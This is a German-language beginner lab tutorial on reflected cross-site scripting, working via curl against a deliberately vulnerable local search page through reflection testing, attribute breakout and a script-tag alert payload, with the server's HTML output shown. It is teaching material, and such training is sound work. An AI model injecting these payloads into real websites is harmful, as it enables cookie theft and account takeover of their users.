Reflected Cross-Site Scripting (XSS)

CybersicherheitBeginner
Jetzt üben

Einführung

Reflected Cross-Site Scripting (XSS) ist eine weit verbreitete Web-Schwachstelle, die auftritt, wenn eine Anwendung Daten in einer HTTP-Anfrage empfängt und diese Daten auf unsichere Weise in die unmittelbare HTTP-Antwort einfügt. Da das injizierte bösartige Skript vom Webserver „reflektiert“ wird, führt es der Browser des Opfers aus. Dies ermöglicht es Angreifern, Sitzungs-Cookies zu stehlen, Aktionen im Namen des Benutzers durchzuführen oder die Website zu manipulieren.

Der entscheidende Punkt ist, dass XSS ein Fehler bei der Code-Ausführung auf Browser-Seite ist. Der Server reflektiert zwar die Payload, aber das Skript wird tatsächlich im Browser ausgeführt – dort, wo die Vertrauensgrenze überschritten wird.

In diesem Lab interagieren Sie mit einer lokal gehosteten, anfälligen Webanwendung. Sie lernen den systematischen Ansatz zur Suche und Ausnutzung von Reflected XSS: Lokalisierung der Stelle, an der Ihre Eingabe reflektiert wird, Testen des Umgangs der Anwendung mit Sonderzeichen, Ausbrechen aus der bestehenden HTML-Struktur und schließlich die Ausführung einer bösartigen JavaScript-Payload.

Reflexionspunkte lokalisieren

In diesem Schritt lernen Sie, wie man Reflexionspunkte in einer Webanwendung identifiziert. Ein Reflexionspunkt ist eine Stelle in der HTTP-Antwort der Anwendung, an der die von Ihnen in der HTTP-Anfrage bereitgestellte Eingabe angezeigt (oder „reflektiert“) wird.

Wir haben eine anfällige Webanwendung auf Ihrem lokalen Rechner gestartet, die über den Port 8080 erreichbar ist. Diese Anwendung verfügt über eine Suchfunktion, die einen Abfrageparameter namens q verwendet.

Um einen Reflexionspunkt zu finden, müssen Sie eine eindeutige, leicht identifizierbare Zeichenfolge an die Anwendung senden und prüfen, ob sie im Quellcode der Antwort erscheint. Wir verwenden das Befehlszeilentool curl, um eine HTTP-GET-Anfrage an die Anwendung zu senden.

Reflexion ist notwendig, aber nicht hinreichend. Ihre Eingabe muss in einem Kontext zurückkommen, in dem das Browser-Parsing sie in ausführbaren Code umwandeln kann.

Führen Sie den folgenden Befehl in Ihrem Terminal aus, um die Testzeichenfolge REFLECTION_TEST an den Such-Endpunkt zu senden:

curl -s "http://localhost:8080/search?q=REFLECTION_TEST"

Betrachten Sie die HTML-Ausgabe in Ihrem Terminal genau. Sie sollten sehen, dass Ihre Eingabe REFLECTION_TEST direkt in die HTML-Struktur eingebettet ist.

<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h2>Search Results</h2>
    <form action="/search" method="GET">
        <input type="text" name="q" value="REFLECTION_TEST">
        <button type="submit">Search Again</button>
    </form>
</body>
</html>

Beachten Sie, dass Ihre Eingabe innerhalb des value-Attributs eines <input>-Tags platziert ist. Dies bestätigt, dass die Anwendung unsere Eingabe aus der URL übernimmt und direkt in die HTML-Antwort reflektiert. Dies ist die erste notwendige Bedingung für eine Reflected XSS-Schwachstelle.

Zeichenfilterung testen (< > ")

In diesem Schritt testen Sie, ob die Anwendung spezielle HTML-Zeichen bereinigt oder filtert.

Kontextsensitive Kodierung ist hier die eigentliche Verteidigung. Die gefährlichen Zeichen unterscheiden sich je nachdem, ob die Eingabe in einem Element-Textkörper, einem HTML-Attribut, JavaScript oder einer URL landet.

Das Finden eines Reflexionspunkts reicht nicht aus, um eine XSS-Schwachstelle zu bestätigen. Moderne Web-Frameworks kodieren Sonderzeichen oft automatisch. Beispielsweise könnte ein Kleiner-als-Zeichen < in &lt; umgewandelt werden. Wenn die Anwendung diese Zeichen kodiert, behandelt der Browser sie als sicheren Text und nicht als ausführbaren Code, was XSS verhindert.

Um bösartiges HTML oder JavaScript zu injizieren, benötigen wir normalerweise Zeichen wie das Kleiner-als-Zeichen < (um ein Tag zu beginnen), das Größer-als-Zeichen > (um ein Tag zu schließen) und doppelte Anführungszeichen " (um Attribute zu manipulieren).

Senden wir eine neue Payload mit diesen Sonderzeichen, um zu sehen, wie die Anwendung damit umgeht. Wir verwenden einfache Anführungszeichen um die URL in unserem curl-Befehl, um zu verhindern, dass die Linux-Shell die Sonderzeichen interpretiert.

Führen Sie den folgenden Befehl aus, um die Zeichenfilterung zu testen:

curl -s 'http://localhost:8080/search?q=FILTER_TEST<>"'

Untersuchen Sie die vom Server zurückgegebene Ausgabe:

<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h2>Search Results</h2>
    <form action="/search" method="GET">
        <input type="text" name="q" value="FILTER_TEST<>"">
        <button type="submit">Search Again</button>
    </form>
</body>
</html>

Beobachten Sie das value-Attribut im <input>-Tag. Die Zeichen <>" werden exakt so reflektiert, wie wir sie gesendet haben, ohne jegliche HTML-Kodierung (wie &lt; oder &quot;). Dieser Mangel an Bereinigung bestätigt, dass die Anwendung höchstwahrscheinlich anfällig für Cross-Site Scripting ist.

Aus HTML-Kontexten ausbrechen

In diesem Schritt lernen Sie, wie Sie aus dem aktuellen HTML-Kontext ausbrechen, um die Payload-Injection vorzubereiten.

Dies ist das Herzstück der praktischen XSS-Arbeit: Den Parser-Kontext zu verstehen, in dem man sich befindet, und dann Syntax zu verwenden, um sicher in einen gefährlicheren Kontext zu entkommen.

Der Kontext ist bei XSS entscheidend. In unserer anfälligen Anwendung befindet sich der Reflexionspunkt innerhalb eines HTML-Attributs: value="[YOUR_INPUT]". Wenn wir einfach sofort ein <script>-Tag injizieren, wird es Teil des Textwerts des Eingabefelds, anstatt vom Browser ausgeführt zu werden.

Um den Browser zu zwingen, unseren Code auszuführen, müssen wir zuerst aus dem value-Attribut „ausbrechen“ und das <input>-Tag schließen.

Da das Attribut in doppelte Anführungszeichen eingeschlossen ist, können wir ein doppeltes Anführungszeichen " injizieren, um das value-Attribut vorzeitig zu schließen. Dann können wir ein Größer-als-Zeichen > injizieren, um das <input>-Tag selbst zu schließen.

Testen wir diese Ausbruchstechnik. Senden Sie die folgende Payload an die Anwendung:

curl -s 'http://localhost:8080/search?q=BREAKOUT">'

Überprüfen Sie die HTML-Ausgabe sorgfältig:

<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h2>Search Results</h2>
    <form action="/search" method="GET">
        <input type="text" name="q" value="BREAKOUT">">
        <button type="submit">Search Again</button>
    </form>
</body>
</html>

Schauen Sie sich an, was mit dem <input>-Tag passiert ist. Das HTML lautet nun value="BREAKOUT">">.

Unser injiziertes " hat das value-Attribut erfolgreich geschlossen, und unser injiziertes > hat das <input>-Tag geschlossen. Das verbleibende "> am Ende ist das ursprüngliche schließende Anführungszeichen und die Klammer aus dem Template der Anwendung, die nun als harmloser Text auf der Seite stehen bleiben.

Sie sind erfolgreich aus dem HTML-Attribut-Kontext ausgebrochen. Der Bereich direkt nach Ihrer Payload wird nun als Standard-HTML-Textkörper behandelt, in dem neue Tags eingefügt werden können.

JavaScript-Payload ausführen

In diesem letzten Schritt kombinieren Sie die Ausbruchstechnik mit einer bösartigen JavaScript-Payload, um Cross-Site Scripting zu erreichen.

Da Sie nun wissen, wie man aus dem <input>-Tag ausbricht, können Sie direkt nach Ihrer Ausbruchssequenz beliebiges gültiges HTML oder JavaScript anhängen. Der gängigste Proof-of-Concept für XSS ist das Injizieren eines <script>-Tags, das eine JavaScript-alert()-Box auslöst.

Unsere vollständige Payload lautet: "><script>alert("XSS")</script>

So funktioniert die Payload: Die ">-Sequenz bricht aus dem value-Attribut aus und schließt das <input>-Tag. Als Nächstes startet das <script>-Tag einen neuen JavaScript-Ausführungsblock. Innerhalb dieses Blocks ist alert("XSS") der JavaScript-Code, der ausgeführt wird. Schließlich schließt das </script>-Tag den Ausführungsblock.

Führen Sie den folgenden Befehl aus, um die vollständige XSS-Payload zu injizieren:

curl -s 'http://localhost:8080/search?q="><script>alert("XSS")</script>'

Untersuchen Sie die endgültige HTML-Ausgabe:

<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h2>Search Results</h2>
    <form action="/search" method="GET">
        <input type="text" name="q" value=""><script>alert("XSS")</script>">
        <button type="submit">Search Again</button>
    </form>
</body>
</html>

Wenn ein Opfer auf einen Link klicken würde, der diese Payload in seinem Webbrowser enthält (z. B. http://localhost:8080/search?q="><script>alert("XSS")</script>), würde sein Browser das HTML von oben nach unten parsen. Wenn er das injizierte <script>-Tag erreicht, führt er den JavaScript-Code aus und öffnet ein Alert-Fenster mit der Meldung "XSS".

Bei einem realen Angriff würde ein Angreifer anstelle eines harmlosen Alerts Code injizieren, um die Sitzungs-Cookies des Opfers (document.cookie) zu stehlen und an einen bösartigen Server zu senden, was zur vollständigen Übernahme des Kontos führen kann.

Zusammenfassung

Herzlichen Glückwunsch! Sie haben das Lab zu Reflected Cross-Site Scripting (XSS) erfolgreich abgeschlossen.

In diesem Lab haben Sie gelernt:

  • Reflexionspunkte zu identifizieren, indem Sie eindeutige Zeichenfolgen senden und die HTTP-Antwort analysieren.
  • Auf Zeichenfilterung zu testen, um festzustellen, ob eine Anwendung spezielle HTML-Zeichen sicher kodiert.
  • Aus HTML-Attribut-Kontexten auszubrechen, indem Sie Anführungszeichen und Klammern manipulieren.
  • Eine vollständige JavaScript-Payload zu erstellen und zu injizieren, um eine Code-Ausführung im Browser zu erreichen.

Das Verständnis dieser Mechanismen ist sowohl für Sicherheitsforscher zur Identifizierung von Schwachstellen als auch für Entwickler zur Implementierung einer ordnungsgemäßen Eingabebereinigung und Ausgabekodierung unerlässlich.